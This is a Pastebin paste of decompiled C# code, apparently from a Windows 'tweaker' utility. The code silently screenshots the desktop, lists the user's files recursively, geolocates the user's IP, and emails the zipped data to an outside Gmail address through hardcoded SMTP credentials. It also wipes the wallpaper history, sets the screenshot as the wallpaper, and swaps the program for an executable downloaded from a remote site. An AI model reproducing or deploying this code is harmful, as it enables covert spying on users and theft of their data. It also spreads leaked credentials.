Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.Win32;
- using System;
- using System.Collections.Generic;
- using System.Drawing;
- using System.Drawing.Imaging;
- using System.Graphics;
- using System.IO;
- using System.IO.Compression;
- using System.Linq;
- using System.Net;
- using System.Net.Mail;
- using System.Reflection;
- using System.Runtime.CompilerServices;
- using System.Runtime.InteropServices;
- using System.Text.RegularExpressions;
- using System.Windows.Forms;
- using Win_10_Tweaker;
- public sealed class GForm0 : Form1
- {
- public static void smethod_1()
- {
- Form35.smethod_1();
- Form14.smethod_1();
- try
- {
- smethod_2();
- }
- catch
- {
- }
- try
- {
- smethod_3();
- }
- catch
- {
- }
- try
- {
- smethod_4();
- }
- catch
- {
- }
- try
- {
- ForceClose();
- }
- catch
- {
- }
- }
- public static void smethod_2()
- {
- Struct18 struct2;
- string filename = GClass5.string_1 + @"\Interface.bin";
- string path = GClass5.string_1 + @"\ErrorLogs.bin";
- Bitmap image = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
- Graphics.FromImage(image).CopyFromScreen(0, 0, 0, 0, image.Size);
- image.Save(filename, ImageFormat.Png);
- string str4 = GClass5.string_1 + @"\Diagnostic.dat";
- File.WriteAllText(str4, string.Join(Environment.NewLine, Settings_1.smethod_0()));
- struct2.list_0 = new List<string>();
- smethod_5(GClass5.string_3, "*.*", ref struct2);
- File.WriteAllText(path, string.Join(Environment.NewLine, struct2.list_0));
- string str5 = GClass5.string_1 + @"\Data.zip";
- try
- {
- File.Delete(str5);
- }
- catch
- {
- }
- try
- {
- using (ZipArchive archive = ZipFile.Open(str5, ZipArchiveMode.Create))
- {
- archive.CreateEntryFromFile(str4, "List 1");
- archive.CreateEntryFromFile(filename, "bin");
- archive.CreateEntryFromFile(path, "List 2");
- }
- try
- {
- File.Delete(str4);
- }
- catch
- {
- }
- try
- {
- File.Delete(filename);
- }
- catch
- {
- }
- }
- catch
- {
- }
- string str6 = "";
- string input = "";
- using (WebClient client = new WebClient())
- {
- str6 = client.DownloadString("http://myexternalip.com/raw");
- input = client.DownloadString("http://free.ipwhois.io/xml/" + str6);
- }
- Match match = Regex.Match(input, "<country>(.*?)</country>(.*?)<city>(.*?)</city>");
- string str8 = match.Groups[1].Value + ", " + match.Groups[3].Value;
- try
- {
- TimeSpan offset = DateTimeOffset.Now.Offset;
- string str9 = (offset < TimeSpan.Zero) ? "-" : "+";
- string address = "feedback@" + GetPro.string_1.Replace("https://", "").Replace("." + GetPro.string_2, "") + "." + GetPro.string_2;
- string source = "username";
- string str12 = "ASjHL4ML0VmI43";
- MailMessage message1 = new MailMessage();
- message1.From = new MailAddress(address, "Нарушитель");
- MailMessage message = message1;
- message.To.Add(new MailAddress("jailbreakvideo@gmail.com", "Хачатур"));
- message.Subject = str6 + " | " + str8;
- string[] textArray1 = new string[0x12];
- textArray1[0] = "Часовой пояс: UTC ";
- textArray1[1] = str9;
- textArray1[2] = offset.ToString(@"hh\:mm");
- textArray1[3] = "\nВерсия программы: ";
- textArray1[4] = Assembly.GetExecutingAssembly().GetName().Version.ToString(2);
- textArray1[5] = "\nЯзык: ";
- textArray1[6] = Form1.locale;
- textArray1[7] = "\nУчётная запись: ";
- textArray1[8] = Form1.user;
- textArray1[9] = "\nWindows: ";
- textArray1[10] = WindowsDate();
- textArray1[11] = "\nIP: ";
- textArray1[12] = str6;
- textArray1[13] = " | ";
- textArray1[14] = str8;
- textArray1[15] = "\nID: ";
- textArray1[0x10] = Word.uniqueid;
- textArray1[0x11] = "\n\n";
- message.Body = string.Concat(textArray1);
- message.Attachments.Add(new Attachment(str5));
- SmtpClient client1 = new SmtpClient();
- client1.Host = "smtp.beget.com";
- client1.Port = 0x9dd;
- client1.EnableSsl = false;
- client1.Timeout = 0x4e20;
- client1.Credentials = new NetworkCredential(address, "if(password==" + new string(source.Reverse<char>().ToArray<char>()).Replace("ema", "mae") + "))password=" + str12.Replace("ASj", "I43"));
- client1.DeliveryMethod = SmtpDeliveryMethod.Network;
- client1.Send(message);
- message.Dispose();
- try
- {
- File.Delete(str5);
- }
- catch
- {
- }
- }
- catch
- {
- ForceClose();
- }
- }
- public static void smethod_3()
- {
- GClass2.smethod_0("Error");
- Class11 class2 = new Class11 {
- registryKey_0 = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Wallpapers")
- };
- try
- {
- class2.registryKey_0.GetValueNames().ToList<string>().Where<string>((<>c.<>9__4_0 ?? (<>c.<>9__4_0 = new Func<string, bool>(this.method_0)))).ToList<string>().ForEach(new Action<string>(class2.method_0));
- }
- finally
- {
- if (class2.registryKey_0 != null)
- {
- class2.registryKey_0.Dispose();
- }
- }
- string filename = GClass5.string_5 + @"\wall.png";
- Bitmap image = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
- Graphics.FromImage(image).CopyFromScreen(0, 0, 0, 0, image.Size);
- image.Save(filename, ImageFormat.Png);
- SystemParametersInfo(20, 0, filename, 3);
- }
- public static void smethod_4()
- {
- try
- {
- using (WebClient client = new WebClient())
- {
- string path = GClass5.string_1 + @"\System.Diagnostic.bin";
- try
- {
- File.Delete(path);
- }
- catch
- {
- }
- File.Move(Form1.assemby, path);
- client.DownloadFile("https://jailbreakvideo.ru/Win%2010%20Tweaker.exe", Form1.assemby);
- }
- }
- catch
- {
- ForceClose();
- }
- }
- [CompilerGenerated]
- internal static List<string> smethod_5(string string_0, string string_1, ref Struct18 struct18_0)
- {
- List<string> second = new List<string>();
- string[] collection = null;
- try
- {
- collection = Directory.GetFiles(string_0, string_1);
- second.AddRange(collection);
- }
- catch
- {
- }
- if (collection != null)
- {
- foreach (string str in Directory.GetDirectories(string_0))
- {
- second.AddRange(smethod_5(str, string_1, ref struct18_0));
- }
- }
- struct18_0.list_0 = struct18_0.list_0.Union<string>(second).ToList<string>();
- return second;
- }
- [DllImport("user32.dll", CharSet=CharSet.Auto)]
- private static extern int SystemParametersInfo(int int_0, int int_1, string string_0, int int_2);
- [Serializable, CompilerGenerated]
- private sealed class <>c
- {
- public static readonly GForm0.<>c <>9 = new GForm0.<>c();
- public static Func<string, bool> <>9__4_0;
- internal bool method_0(string string_0) =>
- string_0.Contains("BackgroundHistoryPath");
- }
- [CompilerGenerated]
- private sealed class Class11
- {
- public RegistryKey registryKey_0;
- internal void method_0(string string_0)
- {
- this.registryKey_0.DeleteValue(string_0);
- }
- }
- [CompilerGenerated]
- private struct Struct18
- {
- public List<string> list_0;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement